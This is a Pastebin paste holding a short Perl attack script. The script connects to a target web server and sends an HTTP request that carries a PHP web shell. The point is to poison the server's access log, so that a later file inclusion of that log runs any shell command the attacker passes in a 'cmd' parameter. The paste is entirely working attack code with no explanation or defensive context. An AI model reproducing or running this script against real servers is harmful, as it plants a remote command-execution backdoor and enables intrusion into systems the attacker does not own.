Guest User

Untitled

a guest
Apr 26th, 2018
977
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.53 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3. use IO::Socket::INET;
  4.  
  5. my $host = $ARGV[0];
  6. my $port = $ARGV[1];
  7.  
  8. print "*** Injecting $host:$port access log...\n";
  9.  
  10. my $rce = "<?if(get_magic_quotes_gpc()){ \$_GET[cmd]=stripslashes(\$_GET[cmd]);} passthru(\$_GET[cmd]);?>";
  11. $sock = IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>"tcp") || die "Cant connect to $host:$port!\n";
  12. print $sock "GET /v0pcr3w ".$rce." HTTP/1.1\r\n";
  13. print $sock "Host: ".$host."\r\n";
  14. print $sock "Connection: close\r\n\r\n";
  15. close($sock);
  16.  
  17. print "*** Done!\n\n";
Add Comment
Please, Sign In to add comment